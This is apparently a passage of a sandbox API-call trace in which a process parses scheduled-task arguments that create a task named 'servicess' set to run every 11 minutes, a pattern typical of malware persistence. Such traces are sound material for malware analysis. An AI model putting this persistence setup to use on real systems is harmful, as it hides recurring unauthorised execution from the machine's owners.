[0150.410] SetLastError (dwErrCode=0x0) [0150.410] SetLastError (dwErrCode=0x0) [0150.410] SetLastError (dwErrCode=0x0) [0150.411] lstrlenW (lpString="/tn") returned 3 [0150.411] lstrlenW (lpString="-/") returned 2 [0150.411] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.411] lstrlenW (lpString="create") returned 6 [0150.411] lstrlenW (lpString="create") returned 6 [0150.411] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.411] lstrlenW (lpString="tn") returned 2 [0150.411] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.411] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|create|") returned 8 [0150.411] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.411] lstrlenW (lpString="|create|") returned 8 [0150.411] lstrlenW (lpString="|tn|") returned 4 [0150.411] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0150.411] SetLastError (dwErrCode=0x490) [0150.411] lstrlenW (lpString="?") returned 1 [0150.411] lstrlenW (lpString="?") returned 1 [0150.411] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.411] lstrlenW (lpString="tn") returned 2 [0150.412] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.412] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|?|") returned 3 [0150.412] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.412] lstrlenW (lpString="|?|") returned 3 [0150.412] lstrlenW (lpString="|tn|") returned 4 [0150.412] SetLastError (dwErrCode=0x490) [0150.412] lstrlenW (lpString="s") returned 1 [0150.412] lstrlenW (lpString="s") returned 1 [0150.412] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.412] lstrlenW (lpString="tn") returned 2 [0150.412] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.412] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|s|") returned 3 [0150.412] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.412] lstrlenW (lpString="|s|") returned 3 [0150.412] lstrlenW (lpString="|tn|") returned 4 [0150.412] SetLastError (dwErrCode=0x490) [0150.412] lstrlenW (lpString="u") returned 1 [0150.412] lstrlenW (lpString="u") returned 1 [0150.412] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.412] lstrlenW (lpString="tn") returned 2 [0150.412] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.412] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|u|") returned 3 [0150.412] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.412] lstrlenW (lpString="|u|") returned 3 [0150.412] lstrlenW (lpString="|tn|") returned 4 [0150.412] SetLastError (dwErrCode=0x490) [0150.412] lstrlenW (lpString="p") returned 1 [0150.412] lstrlenW (lpString="p") returned 1 [0150.413] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.413] lstrlenW (lpString="tn") returned 2 [0150.413] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.413] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|p|") returned 3 [0150.413] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.413] lstrlenW (lpString="|p|") returned 3 [0150.413] lstrlenW (lpString="|tn|") returned 4 [0150.413] SetLastError (dwErrCode=0x490) [0150.413] lstrlenW (lpString="ru") returned 2 [0150.413] lstrlenW (lpString="ru") returned 2 [0150.413] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.413] lstrlenW (lpString="tn") returned 2 [0150.413] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.413] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ru|") returned 4 [0150.413] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.413] lstrlenW (lpString="|ru|") returned 4 [0150.413] lstrlenW (lpString="|tn|") returned 4 [0150.413] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0150.413] SetLastError (dwErrCode=0x490) [0150.413] lstrlenW (lpString="rp") returned 2 [0150.413] lstrlenW (lpString="rp") returned 2 [0150.413] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.413] lstrlenW (lpString="tn") returned 2 [0150.413] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.413] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rp|") returned 4 [0150.413] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.413] lstrlenW (lpString="|rp|") returned 4 [0150.414] lstrlenW (lpString="|tn|") returned 4 [0150.414] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0150.414] SetLastError (dwErrCode=0x490) [0150.414] lstrlenW (lpString="sc") returned 2 [0150.414] lstrlenW (lpString="sc") returned 2 [0150.414] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.414] lstrlenW (lpString="tn") returned 2 [0150.414] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.414] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.414] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.414] lstrlenW (lpString="|sc|") returned 4 [0150.414] lstrlenW (lpString="|tn|") returned 4 [0150.414] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0150.414] SetLastError (dwErrCode=0x490) [0150.414] lstrlenW (lpString="mo") returned 2 [0150.414] lstrlenW (lpString="mo") returned 2 [0150.414] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.414] lstrlenW (lpString="tn") returned 2 [0150.414] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.414] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.414] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.414] lstrlenW (lpString="|mo|") returned 4 [0150.414] lstrlenW (lpString="|tn|") returned 4 [0150.414] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0150.414] SetLastError (dwErrCode=0x490) [0150.414] lstrlenW (lpString="d") returned 1 [0150.414] lstrlenW (lpString="d") returned 1 [0150.414] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.414] lstrlenW (lpString="tn") returned 2 [0150.414] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.415] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|d|") returned 3 [0150.415] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.415] lstrlenW (lpString="|d|") returned 3 [0150.415] lstrlenW (lpString="|tn|") returned 4 [0150.415] SetLastError (dwErrCode=0x490) [0150.415] lstrlenW (lpString="m") returned 1 [0150.415] lstrlenW (lpString="m") returned 1 [0150.415] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.415] lstrlenW (lpString="tn") returned 2 [0150.415] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.415] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|m|") returned 3 [0150.415] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.415] lstrlenW (lpString="|m|") returned 3 [0150.415] lstrlenW (lpString="|tn|") returned 4 [0150.415] SetLastError (dwErrCode=0x490) [0150.415] lstrlenW (lpString="i") returned 1 [0150.415] lstrlenW (lpString="i") returned 1 [0150.415] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.415] lstrlenW (lpString="tn") returned 2 [0150.415] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.415] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|i|") returned 3 [0150.421] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.421] lstrlenW (lpString="|i|") returned 3 [0150.421] lstrlenW (lpString="|tn|") returned 4 [0150.421] SetLastError (dwErrCode=0x490) [0150.421] lstrlenW (lpString="tn") returned 2 [0150.421] lstrlenW (lpString="tn") returned 2 [0150.421] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.421] lstrlenW (lpString="tn") returned 2 [0150.421] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.421] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.421] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|tn|") returned 4 [0150.421] lstrlenW (lpString="|tn|") returned 4 [0150.421] lstrlenW (lpString="|tn|") returned 4 [0150.421] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0150.421] SetLastError (dwErrCode=0x0) [0150.421] SetLastError (dwErrCode=0x0) [0150.421] lstrlenW (lpString="servicess") returned 9 [0150.421] lstrlenW (lpString="-/") returned 2 [0150.421] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0150.422] SetLastError (dwErrCode=0x490) [0150.422] SetLastError (dwErrCode=0x490) [0150.422] SetLastError (dwErrCode=0x0) [0150.422] lstrlenW (lpString="servicess") returned 9 [0150.422] StrChrIW (lpStart="servicess", wMatch=0x3a) returned 0x0 [0150.422] SetLastError (dwErrCode=0x490) [0150.422] SetLastError (dwErrCode=0x0) [0150.422] lstrlenW (lpString="servicess") returned 9 [0150.422] SetLastError (dwErrCode=0x0) [0150.422] SetLastError (dwErrCode=0x0) [0150.422] lstrlenW (lpString="/sc") returned 3 [0150.422] lstrlenW (lpString="-/") returned 2 [0150.422] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.422] lstrlenW (lpString="create") returned 6 [0150.422] lstrlenW (lpString="create") returned 6 [0150.422] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.422] lstrlenW (lpString="sc") returned 2 [0150.422] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.422] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|create|") returned 8 [0150.422] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.422] lstrlenW (lpString="|create|") returned 8 [0150.422] lstrlenW (lpString="|sc|") returned 4 [0150.422] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0150.422] SetLastError (dwErrCode=0x490) [0150.422] lstrlenW (lpString="?") returned 1 [0150.422] lstrlenW (lpString="?") returned 1 [0150.422] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.422] lstrlenW (lpString="sc") returned 2 [0150.422] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.422] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|?|") returned 3 [0150.422] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.422] lstrlenW (lpString="|?|") returned 3 [0150.422] lstrlenW (lpString="|sc|") returned 4 [0150.423] SetLastError (dwErrCode=0x490) [0150.423] lstrlenW (lpString="s") returned 1 [0150.423] lstrlenW (lpString="s") returned 1 [0150.423] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.423] lstrlenW (lpString="sc") returned 2 [0150.423] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.423] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|s|") returned 3 [0150.423] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.423] lstrlenW (lpString="|s|") returned 3 [0150.423] lstrlenW (lpString="|sc|") returned 4 [0150.423] SetLastError (dwErrCode=0x490) [0150.423] lstrlenW (lpString="u") returned 1 [0150.423] lstrlenW (lpString="u") returned 1 [0150.423] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.423] lstrlenW (lpString="sc") returned 2 [0150.423] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.424] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|u|") returned 3 [0150.424] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.424] lstrlenW (lpString="|u|") returned 3 [0150.424] lstrlenW (lpString="|sc|") returned 4 [0150.424] SetLastError (dwErrCode=0x490) [0150.424] lstrlenW (lpString="p") returned 1 [0150.424] lstrlenW (lpString="p") returned 1 [0150.424] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.424] lstrlenW (lpString="sc") returned 2 [0150.424] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.424] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|p|") returned 3 [0150.424] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.424] lstrlenW (lpString="|p|") returned 3 [0150.424] lstrlenW (lpString="|sc|") returned 4 [0150.424] SetLastError (dwErrCode=0x490) [0150.424] lstrlenW (lpString="ru") returned 2 [0150.424] lstrlenW (lpString="ru") returned 2 [0150.424] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.424] lstrlenW (lpString="sc") returned 2 [0150.424] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.424] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ru|") returned 4 [0150.424] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.424] lstrlenW (lpString="|ru|") returned 4 [0150.425] lstrlenW (lpString="|sc|") returned 4 [0150.425] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0150.425] SetLastError (dwErrCode=0x490) [0150.425] lstrlenW (lpString="rp") returned 2 [0150.425] lstrlenW (lpString="rp") returned 2 [0150.425] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.425] lstrlenW (lpString="sc") returned 2 [0150.425] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.425] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rp|") returned 4 [0150.425] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.425] lstrlenW (lpString="|rp|") returned 4 [0150.425] lstrlenW (lpString="|sc|") returned 4 [0150.425] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0150.425] SetLastError (dwErrCode=0x490) [0150.425] lstrlenW (lpString="sc") returned 2 [0150.425] lstrlenW (lpString="sc") returned 2 [0150.425] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.425] lstrlenW (lpString="sc") returned 2 [0150.425] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.425] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.425] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.425] lstrlenW (lpString="|sc|") returned 4 [0150.425] lstrlenW (lpString="|sc|") returned 4 [0150.425] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0150.425] SetLastError (dwErrCode=0x0) [0150.425] SetLastError (dwErrCode=0x0) [0150.425] lstrlenW (lpString="MINUTE") returned 6 [0150.425] lstrlenW (lpString="-/") returned 2 [0150.425] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0150.425] SetLastError (dwErrCode=0x490) [0150.426] SetLastError (dwErrCode=0x490) [0150.426] SetLastError (dwErrCode=0x0) [0150.426] lstrlenW (lpString="MINUTE") returned 6 [0150.426] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0150.426] SetLastError (dwErrCode=0x490) [0150.426] SetLastError (dwErrCode=0x0) [0150.426] GetProcessHeap () returned 0x3b0000 [0150.426] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0x18) returned 0x3cd570 [0150.426] _memicmp (_Buf1=0x3cd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.426] lstrlenW (lpString="MINUTE") returned 6 [0150.426] GetProcessHeap () returned 0x3b0000 [0150.426] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0xc, Size=0xe) returned 0x3cd590 [0150.426] lstrlenW (lpString="MINUTE") returned 6 [0150.426] lstrlenW (lpString=" \x09") returned 2 [0150.426] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0150.426] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0150.426] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0150.426] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0150.426] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0150.426] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0150.426] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0150.426] GetLastError () returned 0x0 [0150.426] lstrlenW (lpString="MINUTE") returned 6 [0150.426] lstrlenW (lpString="MINUTE") returned 6 [0150.426] SetLastError (dwErrCode=0x0) [0150.426] SetLastError (dwErrCode=0x0) [0150.426] lstrlenW (lpString="/mo") returned 3 [0150.426] lstrlenW (lpString="-/") returned 2 [0150.426] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0150.426] lstrlenW (lpString="create") returned 6 [0150.426] lstrlenW (lpString="create") returned 6 [0150.426] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.426] lstrlenW (lpString="mo") returned 2 [0150.426] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.426] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|create|") returned 8 [0150.426] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.427] lstrlenW (lpString="|create|") returned 8 [0150.427] lstrlenW (lpString="|mo|") returned 4 [0150.427] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0150.427] SetLastError (dwErrCode=0x490) [0150.427] lstrlenW (lpString="?") returned 1 [0150.432] lstrlenW (lpString="?") returned 1 [0150.433] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.433] lstrlenW (lpString="mo") returned 2 [0150.433] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.433] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|?|") returned 3 [0150.433] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.433] lstrlenW (lpString="|?|") returned 3 [0150.433] lstrlenW (lpString="|mo|") returned 4 [0150.433] SetLastError (dwErrCode=0x490) [0150.433] lstrlenW (lpString="s") returned 1 [0150.433] lstrlenW (lpString="s") returned 1 [0150.433] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.434] lstrlenW (lpString="mo") returned 2 [0150.434] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.434] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|s|") returned 3 [0150.434] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.434] lstrlenW (lpString="|s|") returned 3 [0150.434] lstrlenW (lpString="|mo|") returned 4 [0150.434] SetLastError (dwErrCode=0x490) [0150.434] lstrlenW (lpString="u") returned 1 [0150.434] lstrlenW (lpString="u") returned 1 [0150.434] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.434] lstrlenW (lpString="mo") returned 2 [0150.434] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.434] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|u|") returned 3 [0150.434] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.434] lstrlenW (lpString="|u|") returned 3 [0150.434] lstrlenW (lpString="|mo|") returned 4 [0150.434] SetLastError (dwErrCode=0x490) [0150.434] lstrlenW (lpString="p") returned 1 [0150.434] lstrlenW (lpString="p") returned 1 [0150.434] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.435] lstrlenW (lpString="mo") returned 2 [0150.435] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.435] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|p|") returned 3 [0150.435] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.435] lstrlenW (lpString="|p|") returned 3 [0150.435] lstrlenW (lpString="|mo|") returned 4 [0150.435] SetLastError (dwErrCode=0x490) [0150.435] lstrlenW (lpString="ru") returned 2 [0150.435] lstrlenW (lpString="ru") returned 2 [0150.435] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.435] lstrlenW (lpString="mo") returned 2 [0150.435] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.435] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|ru|") returned 4 [0150.435] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.435] lstrlenW (lpString="|ru|") returned 4 [0150.435] lstrlenW (lpString="|mo|") returned 4 [0150.435] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0150.436] SetLastError (dwErrCode=0x490) [0150.436] lstrlenW (lpString="rp") returned 2 [0150.436] lstrlenW (lpString="rp") returned 2 [0150.436] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.436] lstrlenW (lpString="mo") returned 2 [0150.436] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.436] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|rp|") returned 4 [0150.436] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.436] lstrlenW (lpString="|rp|") returned 4 [0150.436] lstrlenW (lpString="|mo|") returned 4 [0150.436] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0150.436] SetLastError (dwErrCode=0x490) [0150.436] lstrlenW (lpString="sc") returned 2 [0150.436] lstrlenW (lpString="sc") returned 2 [0150.436] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.436] lstrlenW (lpString="mo") returned 2 [0150.436] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.436] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|sc|") returned 4 [0150.436] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.436] lstrlenW (lpString="|sc|") returned 4 [0150.436] lstrlenW (lpString="|mo|") returned 4 [0150.437] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0150.437] SetLastError (dwErrCode=0x490) [0150.437] lstrlenW (lpString="mo") returned 2 [0150.437] lstrlenW (lpString="mo") returned 2 [0150.437] _memicmp (_Buf1=0x3cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.437] lstrlenW (lpString="mo") returned 2 [0150.437] _memicmp (_Buf1=0x3cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0150.437] _vsnwprintf (in: _Buffer=0x3cc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.437] _vsnwprintf (in: _Buffer=0x3cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x29c428 | out: _Buffer="|mo|") returned 4 [0150.437] lstrlenW (lpString="|mo|") returned 4 [0150.437] lstrlenW (lpString="|mo|") returned 4 [0150.437] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0150.437] SetLastError (dwErrCode=0x0) [0150.437] SetLastError (dwErrCode=0x0) [0150.437] lstrlenW (lpString="11") returned 2 [0150.437] lstrlenW (lpString="-/") returned 2 [0150.437] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0150.437] SetLastError (dwErrCode=0x490) [0150.437] SetLastError (dwErrCode=0x490) [0150.437] 